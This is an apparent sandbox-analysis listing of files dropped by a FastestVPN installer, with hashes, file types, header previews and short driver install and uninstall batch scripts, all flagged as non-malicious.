                                                                                                                C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\is-PAMI1.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):104424
                                                                                                                Entropy (8bit):6.366713641084616
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:Y79hJ78bsmPOC5lhtb5FGNk4wZO+cWK4orE3HazVvon6BK2s6th:YpL78XPOCN1GeOUKdebIKfS
                                                                                                                MD5:95FD4F27F82A9E4D6E2A53AF7A9096E6
                                                                                                                SHA1:5F772C89901841AF1814C858359AC5FEB9BE3C24
                                                                                                                SHA-256:98CD2F27906E4FD7FA7FBE0EC747BADEF710BCA736A1AC5EE883756F2185818C
                                                                                                                SHA-512:6B2E2BA90B33F6658C903203317299057C83545D46549D468CDAA1D6F7BCE887310411B9BF6EEA9D19C214A2041BB5E14FD9395CC4E2FE9FC31AB03B88A75019
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>.d.z...z...z.....~...z.........}.....}...Y@..s....A..{....A..{...Richz...........................PE..d... [.\.........."..........L.................@....................................C.....`.................................................8p..P.......H....`.......R...E..........`#..8............................(..p............ ..`............................text...d........................... ..h.rdata....... ......................@..H.data...@....@.......$..............@....pdata.......`.......,..............@..HINIT.........p.......:.............. ....rsrc...H............J..............@..B.reloc...............P..............@..B................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\fastestvpndriver.sys (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):104424
                                                                                                                Entropy (8bit):6.366713641084616
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:Y79hJ78bsmPOC5lhtb5FGNk4wZO+cWK4orE3HazVvon6BK2s6th:YpL78XPOCN1GeOUKdebIKfS
                                                                                                                MD5:95FD4F27F82A9E4D6E2A53AF7A9096E6
                                                                                                                SHA1:5F772C89901841AF1814C858359AC5FEB9BE3C24
                                                                                                                SHA-256:98CD2F27906E4FD7FA7FBE0EC747BADEF710BCA736A1AC5EE883756F2185818C
                                                                                                                SHA-512:6B2E2BA90B33F6658C903203317299057C83545D46549D468CDAA1D6F7BCE887310411B9BF6EEA9D19C214A2041BB5E14FD9395CC4E2FE9FC31AB03B88A75019
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>.d.z...z...z.....~...z.........}.....}...Y@..s....A..{....A..{...Richz...........................PE..d... [.\.........."..........L.................@....................................C.....`.................................................8p..P.......H....`.......R...E..........`#..8............................(..p............ ..`............................text...d........................... ..h.rdata....... ......................@..H.data...@....@.......$..............@....pdata.......`.......,..............@..HINIT.........p.......:.............. ....rsrc...H............J..............@..B.reloc...............P..............@..B................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\is-A7TIP.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):104424
                                                                                                                Entropy (8bit):6.366713641084616
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:Y79hJ78bsmPOC5lhtb5FGNk4wZO+cWK4orE3HazVvon6BK2s6th:YpL78XPOCN1GeOUKdebIKfS
                                                                                                                MD5:95FD4F27F82A9E4D6E2A53AF7A9096E6
                                                                                                                SHA1:5F772C89901841AF1814C858359AC5FEB9BE3C24
                                                                                                                SHA-256:98CD2F27906E4FD7FA7FBE0EC747BADEF710BCA736A1AC5EE883756F2185818C
                                                                                                                SHA-512:6B2E2BA90B33F6658C903203317299057C83545D46549D468CDAA1D6F7BCE887310411B9BF6EEA9D19C214A2041BB5E14FD9395CC4E2FE9FC31AB03B88A75019
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>.d.z...z...z.....~...z.........}.....}...Y@..s....A..{....A..{...Richz...........................PE..d... [.\.........."..........L.................@....................................C.....`.................................................8p..P.......H....`.......R...E..........`#..8............................(..p............ ..`............................text...d........................... ..h.rdata....... ......................@..H.data...@....@.......$..............@....pdata.......`.......,..............@..HINIT.........p.......:.............. ....rsrc...H............J..............@..B.reloc...............P..............@..B................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\sp\install_sp.bat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):527
                                                                                                                Entropy (8bit):5.160291198458603
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:E9T9FHWvxBLzOY7WCKGWXOTIHcrV2/+1Of3T96TuGWYxBoeANyW:E9T9FHWJBLz9SC8zwV2sOD997YBFnW
                                                                                                                MD5:39B9357BA2B8B640ACFAE47275B80C56
                                                                                                                SHA1:0A80D68131736FB29C71D66CEBED9D59258F86DB
                                                                                                                SHA-256:76E9F6F16C00F33BE1717AE60A1FAFA0F90609508F7D613556B145E4C89D103A
                                                                                                                SHA-512:D3144461AC37E13100BE3444586163CCB8A6B767DCD0B7A26353172FD86C06D7AC31CD209C1E472B9DCAF0D5E3CCD80AF78A15B48BE72E4AFBBCB6747338DDCB
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..start sc stop fastestvpndriver..del %systemroot%\system32\drivers\fastestvpndriver.sys....reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" | find /i "x86" > NUL && set ARCH=i386 || set ARCH=amd64..reg QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" | find /i "Windows 7" > NUL && set OS=windows7 || set OS=windows8....xcopy /y driver\%OS%\%ARCH%\fastestvpndriver.sys %systemroot%\system32\drivers..release\nfregdrv.exe -u fastestvpndriver..release\nfregdrv.exe fastestvpndriver

                                                                                                                C:\Program Files\FastestVPN\Resources\sp\is-3C0V7.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):527
                                                                                                                Entropy (8bit):5.160291198458603
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:E9T9FHWvxBLzOY7WCKGWXOTIHcrV2/+1Of3T96TuGWYxBoeANyW:E9T9FHWJBLz9SC8zwV2sOD997YBFnW
                                                                                                                MD5:39B9357BA2B8B640ACFAE47275B80C56
                                                                                                                SHA1:0A80D68131736FB29C71D66CEBED9D59258F86DB
                                                                                                                SHA-256:76E9F6F16C00F33BE1717AE60A1FAFA0F90609508F7D613556B145E4C89D103A
                                                                                                                SHA-512:D3144461AC37E13100BE3444586163CCB8A6B767DCD0B7A26353172FD86C06D7AC31CD209C1E472B9DCAF0D5E3CCD80AF78A15B48BE72E4AFBBCB6747338DDCB
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..start sc stop fastestvpndriver..del %systemroot%\system32\drivers\fastestvpndriver.sys....reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" | find /i "x86" > NUL && set ARCH=i386 || set ARCH=amd64..reg QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" | find /i "Windows 7" > NUL && set OS=windows7 || set OS=windows8....xcopy /y driver\%OS%\%ARCH%\fastestvpndriver.sys %systemroot%\system32\drivers..release\nfregdrv.exe -u fastestvpndriver..release\nfregdrv.exe fastestvpndriver

                                                                                                                C:\Program Files\FastestVPN\Resources\sp\is-RCT9Q.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):153
                                                                                                                Entropy (8bit):4.487708026306449
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:mKDD2G2FuyW+jBFWRO5Na3ymIaKn/kuD/RAKaXyXshWoXnPTHaW:hiPFvL9FHza3fxBuZaXhZbaW
                                                                                                                MD5:2D0CB38D144B0F1A34BD6F715D697658
                                                                                                                SHA1:65B935BEEE274E0BB6C069CB8FC1022E187ECAE2
                                                                                                                SHA-256:DFEE16836EBD2D8E76D0EE660F9B22154A3513591061FF9EF9E540094DDEA8F6
                                                                                                                SHA-512:472D2F8D2C58BC96C100674995A580F0EA3A60F42971A850582CEDB4B9108D42F7CE8D87410203C50EAD3F16B9CA92F3DDB1B4D543F2418FEF6259E754359987
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..start sc stop fastestvpndriver..del %systemroot%\system32\drivers\fastestvpndriver.sys..release\nfregdrv.exe -u fastestvpndriver

                                                                                                                C:\Program Files\FastestVPN\Resources\sp\release\is-TB154.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):61064
                                                                                                                Entropy (8bit):6.255909242219927
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:2/Th9sBDRdQNV0nsDMmkL/DDI6ssEtnrFqnK/Yfrc:lRMVvRkLFWtr6K/Cg
                                                                                                                MD5:9333F583E2D32A47276DCEC7C2391FD2
                                                                                                                SHA1:8757F8136354B7F98407CEBFE8BDA6043972D88E
                                                                                                                SHA-256:AF36609DF5F1F9375354E68E2B8EA57059E44DEC3D089CD9EA509F0816D71294
                                                                                                                SHA-512:922578EFA998B4B92192F3A6839059C01406997F3DBEF0DE70C7BA3F6D73CBDEA04470CD6C214778AAB59EB7602AC354750AE5D97C66286F1215BC415B273222
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zRl.>3..>3..>3.......3....l.$3....o.v3...<_.<3....y.;3..>3..q3....p.?3....z.?3..Rich>3..................PE..L....K.Q.................p...@......@.............@.................................{.......................................\...P...................................@...................................@............................................text....c.......p.................. ..`.rdata........... ..................@..@.data...|...........................@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\sp\release\is-VKG1P.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):159368
                                                                                                                Entropy (8bit):6.430638214966169
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:MnVAyi4UNa5oIMLPX3CD+Y+tQJtbwhOt4SSyd7DK/+1:Msa+hPSDutIyhfq7+/k
                                                                                                                MD5:E7C064693750D51F5AC901A0CF0A987A
                                                                                                                SHA1:0FFE9BAE9054D779F60CE8E0E72D386401C0AF7D
                                                                                                                SHA-256:6138C9EC5082350F9223E87991A779457662FAD1AE937ADFD7229DA509810A14
                                                                                                                SHA-512:12E2CF49B1DA8BD4CEC556F1C816678B7E04D08ED71D94F5734DA6B73AE73E79EC09593CFCF2A27AF73C32645435CF52B127EFB8BACB94C9638249E1365A3CBB
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Jx.....................)......)..d...).."...............y...)......)......)......)......Rich............PE..L......]...........!........................................................`......8c.............................. ...........P.... ..`............@.......0......0..................................@............................................text...0|.......................... ..`.rdata...J.......P..................@..@.data...,6....... ..................@....rsrc...`.... ......................@..@.reloc...(...0...0..................@..B........................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\sp\release\nfapi.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):159368
                                                                                                                Entropy (8bit):6.430638214966169
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:MnVAyi4UNa5oIMLPX3CD+Y+tQJtbwhOt4SSyd7DK/+1:Msa+hPSDutIyhfq7+/k
                                                                                                                MD5:E7C064693750D51F5AC901A0CF0A987A
                                                                                                                SHA1:0FFE9BAE9054D779F60CE8E0E72D386401C0AF7D
                                                                                                                SHA-256:6138C9EC5082350F9223E87991A779457662FAD1AE937ADFD7229DA509810A14
                                                                                                                SHA-512:12E2CF49B1DA8BD4CEC556F1C816678B7E04D08ED71D94F5734DA6B73AE73E79EC09593CFCF2A27AF73C32645435CF52B127EFB8BACB94C9638249E1365A3CBB
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Jx.....................)......)..d...).."...............y...)......)......)......)......Rich............PE..L......]...........!........................................................`......8c.............................. ...........P.... ..`............@.......0......0..................................@............................................text...0|.......................... ..`.rdata...J.......P..................@..@.data...,6....... ..................@....rsrc...`.... ......................@..@.reloc...(...0...0..................@..B........................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):61064
                                                                                                                Entropy (8bit):6.255909242219927
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:2/Th9sBDRdQNV0nsDMmkL/DDI6ssEtnrFqnK/Yfrc:lRMVvRkLFWtr6K/Cg
                                                                                                                MD5:9333F583E2D32A47276DCEC7C2391FD2
                                                                                                                SHA1:8757F8136354B7F98407CEBFE8BDA6043972D88E
                                                                                                                SHA-256:AF36609DF5F1F9375354E68E2B8EA57059E44DEC3D089CD9EA509F0816D71294
                                                                                                                SHA-512:922578EFA998B4B92192F3A6839059C01406997F3DBEF0DE70C7BA3F6D73CBDEA04470CD6C214778AAB59EB7602AC354750AE5D97C66286F1215BC415B273222
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zRl.>3..>3..>3.......3....l.$3....o.v3...<_.<3....y.;3..>3..q3....p.?3....z.?3..Rich>3..................PE..L....K.Q.................p...@......@.............@.................................{.......................................\...P...................................@...................................@............................................text....c.......p.................. ..`.rdata........... ..................@..@.data...|...........................@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\sp\uninstall_sp.bat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):153
                                                                                                                Entropy (8bit):4.487708026306449
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:mKDD2G2FuyW+jBFWRO5Na3ymIaKn/kuD/RAKaXyXshWoXnPTHaW:hiPFvL9FHza3fxBuZaXhZbaW
                                                                                                                MD5:2D0CB38D144B0F1A34BD6F715D697658
                                                                                                                SHA1:65B935BEEE274E0BB6C069CB8FC1022E187ECAE2
                                                                                                                SHA-256:DFEE16836EBD2D8E76D0EE660F9B22154A3513591061FF9EF9E540094DDEA8F6
                                                                                                                SHA-512:472D2F8D2C58BC96C100674995A580F0EA3A60F42971A850582CEDB4B9108D42F7CE8D87410203C50EAD3F16B9CA92F3DDB1B4D543F2418FEF6259E754359987
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..start sc stop fastestvpndriver..del %systemroot%\system32\drivers\fastestvpndriver.sys..release\nfregdrv.exe -u fastestvpndriver

                                                                                                                C:\Program Files\FastestVPN\Resources\ssleay32.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):585512
                                                                                                                Entropy (8bit):6.002108518534667
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12288:kavF2w273DAx5at3y6/c1M94lh7NX06qkX/0IT7/5:kAF2w2jE5k3y6/cyinNXy4B7h
                                                                                                                MD5:2C700BBCDA59BFE2CD7EBF9BAA5B2626
                                                                                                                SHA1:72EFAA0E8652FB4ADC21E4484E7F63AA968F39D2
                                                                                                                SHA-256:C9C59AB5B3369B97C85129F160491BD743B68DE1AD41EE6EEBA69009407B54E7
                                                                                                                SHA-512:0911C7FED9653D9D50BAD7219E45778367DE4B105B5079A8011415F65465B80782A98A503CEBFB309997BCFB2A8620402579456565A24C69A20CBCBD0130DA20
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....$.Y...........!..............................`n.........................p......L.....@... .........................m).......3...0..@....................@...)........................... .......................................................text...T...........................`.P`.data....-..........................@.`..rdata..............................@.`@.bss....d.............................`..edata..m).......*...t..............@.0@.idata...3.......4..................@.0..CRT....,...........................@.0..tls.... .... ......................@.0..rsrc...@....0......................@.0..reloc...)...@...*..................@.0B/4...........p......................@..B/19......l.......n..................@..B/31...../............v..............@..B/45.....|...........................@..B/57..........0......................@.0B/70.....2....@..........

                                                                                                                C:\Program Files\FastestVPN\Resources\status.dat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):277
                                                                                                                Entropy (8bit):5.0491979415178765
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:ShdEdI5KGdXrSwCoXV+hn5A59eT5U+hLQsPti5FtEEs6EsctB6WEsF2WEsF+v:6dEKwGxOsw7BB6S2zv
                                                                                                                MD5:C8768E552ABCA40175C704E4AF1F030C
                                                                                                                SHA1:7B8A3BC3310EE72006FD2C5A4D5F4FC60171C81B
                                                                                                                SHA-256:50259EEA13E0A9CB0AC48181F8F4345E6558EE8536CC71D0F6E2F63AE9D89D33
                                                                                                                SHA-512:09FD06DB34894F1EC79B607217DC70E204793E04C58B846DC495DC915F38C1311AC1EE0D3C5CCDE636D8A3D6CE5631EF7291D3617FB3F900FD072CEA5831B573
                                                                                                                Malicious:false
                                                                                                                Preview:OpenVPN STATISTICS..Updated,2023-09-03 07:45:36..TUN/TAP read bytes,1979..TUN/TAP write bytes,9103..TCP/UDP read bytes,15521..TCP/UDP write bytes,5150..Auth read bytes,9103..pre-compress bytes,0..post-compress bytes,0..pre-decompress bytes,204..post-decompress bytes,213..END..

                                                                                                                C:\Program Files\FastestVPN\Resources\tapctl.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):42120
                                                                                                                Entropy (8bit):6.157445136592099
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:tFRn6+bvfApVjLj1mFU6rrFqyO9K/Yfryu:tFFepV3j1mm6/pO9K/COu
                                                                                                                MD5:F6AFD5499FCC5D464085AD889BAE09B7
                                                                                                                SHA1:287C540655FCED0C09DDA2D9C4EADD3F3E210B17
                                                                                                                SHA-256:6EDA54D746C092A45395399319DFC878E5674C84FAB8147821524A0042C03F47
                                                                                                                SHA-512:BFD5ED90D0F16A2F0BCC22B0E847D5781A7B11D6912A51CDC8FCAAD80BF191D821418F7544BF52BF6E1AAA47D06A5442601543E9C25B2352D4E23AFC0C4668F9
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......kT../5../5../5..&M<.#5..}@..-5..}@..=5..}@..%5..}@..,5..;^..$5../5..p5...@..,5...@P..5...@...5..Rich/5..........PE..d.....b.........."......0...H.......4.........@....................................e.....`.................................................4g..........@............v..........8...P]...............................]..8............@...............................text..../.......0.................. ..`.rdata...3...@...4...4..............@..@.data...H............h..............@....pdata...............j..............@..@.rsrc...@............n..............@..@.reloc..8............t..............@..B................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\tapinstall.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):94856
                                                                                                                Entropy (8bit):5.499392443352034
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:RmYSYxGfIZnRnD6M7EFOUakPhtUn6KXF4O7Wm1xK/CpcW:QYFZnRDGdvPXU6K1RWmPK/4h
                                                                                                                MD5:834EE5DA601A6C78C43C64F6C282682F
                                                                                                                SHA1:03920B402B787CA53CD79A66B0B611C899B91F3E
                                                                                                                SHA-256:754B61DA108CC9379585E18DDCE90A8092C1B17DA5D922A6E8D6CE84A90B0F87
                                                                                                                SHA-512:C4A6A49D1EE316FB9EA399487EA17DD813C0A611F473F4FD054D07F6D5C6BB786D40FA478254A499DB3E1D5F0AFDA3B72651EF097945D0C3AA9F0D83D9C0ED06
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V........-.....;......<.......+....%......S....%......2....~......,.....)...Rich..........PE..d...<..W..........".................Tv..............................................I.....@.......... ..................................................h.......l....D.......p..........................................................X............................text............................... ..`.data...............................@....pdata..l...........................@..@.rsrc...h...........................@..@.reloc..z....p.......B..............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\tapinstallWin32.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):89736
                                                                                                                Entropy (8bit):5.522767465825831
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:3urhT5+KybRpnE8K74kca7NerB8iXpYmRRXvdi82BSOe9oKSJ2SLD0BEZWkAzrF9:w+KY04RMmSCYmBiF4O7WTn8K/CI
                                                                                                                MD5:2CC3AC572A2170108BABD019F0BFE779
                                                                                                                SHA1:AF962245CE32D5801A380FF7F6B8C87AC7772AB2
                                                                                                                SHA-256:755315DFCC9C72CBE4EB33AF34E9AAC0BD1324C6942F4B56AD9FE0135E1A9299
                                                                                                                SHA-512:891D545DDF35BF8C650FE8EB48A5E5F6F7C50036E42BE893417AF2EF886EB37C5BEEE9DD838A8F020728E4BAE803F2753CC8F6DD7958DD31B5B39DAED7EF464B
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L..."..."..."....."......"......"...#.S."....."..`\..."......"......".Rich..".................PE..L...#.pK.................l..........Td.......................................P......0a....@...... ..........................lm..........p............0.......@...... ...............................0...@............................................text... j.......l.................. ..`.data...4............p..............@....rsrc...p............v..............@..@.reloc.......@.......&..............@..B........................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\tapinstallWin64.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):93832
                                                                                                                Entropy (8bit):5.485112927422894
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:fP2K0pa0WfEYp9Y/XQhpgnbP212YCJpDhiF4O7WGkK/CH8:fePOYe4bu1epDh8RWGkK/b
                                                                                                                MD5:8E7EE7C3876683902475753519681407
                                                                                                                SHA1:75FACB7F9C59B284F97956E799E57FB0F606C49D
                                                                                                                SHA-256:6D5041A8EF796C66BA151D8FCFAFDD96BCAA99B57D2777897FD25A87A5E41E13
                                                                                                                SHA-512:523EBF3A4DF9F6D299E72079DEF0A0DA9127601796D9AA613B70AD2F66EE2166F4F8F75083F47E67FFFD892A09FA437F3B12BD1B27065200E90F8617E3E83727
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........X...9...9...9...AF..9...AW..9...A@..9...9..f9...AP.9...AY..9.......9...AG..9...AB..9..Rich.9..........................PE..d.....pK.........."......~...........s.......................................p............@.......... ......................................X}..........p.......T....@.......`......0................................................................................text....|.......~.................. ..`.data...x...........................@....pdata..T...........................@..@.rsrc...p...........................@..@.reloc..p....`.......>..............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\vcruntime140.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):99976
                                                                                                                Entropy (8bit):6.499161413646961
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:yWHL+4KsAzAfadZw+1Hcx8uIYNU5U9H0Q8ecbjt1BHK/CeS:yWr/Z+jPYNV9H0Q8ecbjt1BHK/pS
                                                                                                                MD5:85054BAF6D0A7D31A18183ACC4CBA133
                                                                                                                SHA1:24830C002FFAB31102DFB674B52AFFD74E90E708
                                                                                                                SHA-256:EC86F182F55A338E26F598638F18422E474C6D6C651E1D9955D0303254BF6DDD
                                                                                                                SHA-512:B6B7D9115ED1D734D7C0EB09E7C7C96EEC29E2C59B8943586976F2182E46B660B99C1947ACF2C1DEB75595771A78B7405FDDBB989A2F06CF88E4AD3D8824055A
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*..qn.."n.."n.."...#l.."g.."e.."n.."B.."<..#c.."<..#~.."<..#q.."<..#o.."<.g"o.."<..#o.."Richn.."................PE..d.....`.........." .........`......p................................................>....`A.........................................B..4....J...............p..X....X..............h,..T............................,..8............................................text............................... ..`.rdata...@.......B..................@..@.data...@....`.......@..............@....pdata..X....p.......D..............@..@_RDATA...............P..............@..@.rsrc................R..............@..@.reloc...............V..............@..B........................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\wireguard.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):8184456
                                                                                                                Entropy (8bit):6.15917051663501
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:98304:AD3K0YyOAYcd0ZLpNu6JmM1W8YcTpOG7ZE78O:ALzUwsFYc9OG7ZE78O
                                                                                                                MD5:5850A25689FA1B36CD6B76E2E7F6BDB3
                                                                                                                SHA1:299CEBD4CD448239BF5094DCC0632100287C0B85
                                                                                                                SHA-256:803870B4FCC1A8C0675EE1D5AA5DEB4132514974CDF0F8F7BA40035377FFDCFA
                                                                                                                SHA-512:F64A196D0FE937112604D7B0CFE2099928987ECEAA650728C88ECE9BAEF288AF2E4BCDD52D3199D8787290F5071287DAFA5DC6FD44775E52CA1E04237411888F
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.........].......".......'..........=........@.......................................}...`... ...............................................c.|.... d.t.............|...... c.....................................................`SY.@............................text.....'.......'................. ..`.rdata..PC1...(..D1...'.............@..@.data... ....PY......0Y.............@....idata..|.....c.......\.............@....reloc....... c.......\.............@..B.symtab.......d.......]................B.rsrc...t.... d.......].............@..@........................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\SQLitePCLRaw.batteries_v2.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):22184
                                                                                                                Entropy (8bit):6.685941492131545
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:1hKpVrz0BH8aZqmgBTKDAATaYIYikfF0FP27NBY3Yuv+8N:1hKpVcB15KO7aBYimOK/Y/+g
                                                                                                                MD5:AAA9DA932D572F5B22CBEE1B4E479ED6
                                                                                                                SHA1:D708727DED1298610C2E3D72C8792F12FC60CFF2
                                                                                                                SHA-256:73B55714DB609A1712FD4FC420CE18441E41BB7E3E94D73B11AE28C68CCB1124
